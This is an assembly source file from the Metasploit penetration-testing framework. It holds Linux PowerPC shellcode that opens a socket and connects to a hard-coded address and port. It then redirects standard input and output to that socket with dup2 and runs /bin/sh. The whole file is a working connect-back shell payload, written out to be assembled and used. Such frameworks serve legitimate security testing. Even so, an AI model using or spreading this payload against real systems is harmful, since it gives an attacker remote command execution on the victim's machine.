metasploit-framework/external/source/unixasm/lin-power-cntsockcode.S

96 lines
2.3 KiB
ArmAsm

/*
* lin-power-cntsockcode.S
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#include "linux-power.h"
.globl main
main:
cntsockcode:
xor %r31,%r31,%r31
lil %r29,__CAL
# socket
cal %r28,-511+1(%r29)
cal %r27,-511+2(%r29)
stu %r31,-4(%r1)
stu %r28,-4(%r1)
stu %r27,-4(%r1)
mr %r4,%r1
cal %r3,__NC_socket(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r26,%r3
# connect
cal %r25,-511+16(%r29)
/*
* The following GPRs result in zeros when used with liu instruction.
* %r24, %r16, %r8, %r0
*
*/
liu %r23,0x7f00
oril %r23,%r23,0x0001
lil %r22,0x04d2
stu %r23,-4(%r1)
stu %r22,-4(%r1)
st %r27,-2(%r1)
mr %r21,%r1
stu %r25,-4(%r1)
stu %r21,-4(%r1)
stu %r26,-4(%r1)
mr %r4,%r1
cal %r3,__NC_connect(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
0:
# dup2
mr %r4,%r27
mr %r3,%r26
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r27,%r27,-1
bge 0b
shellcode:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"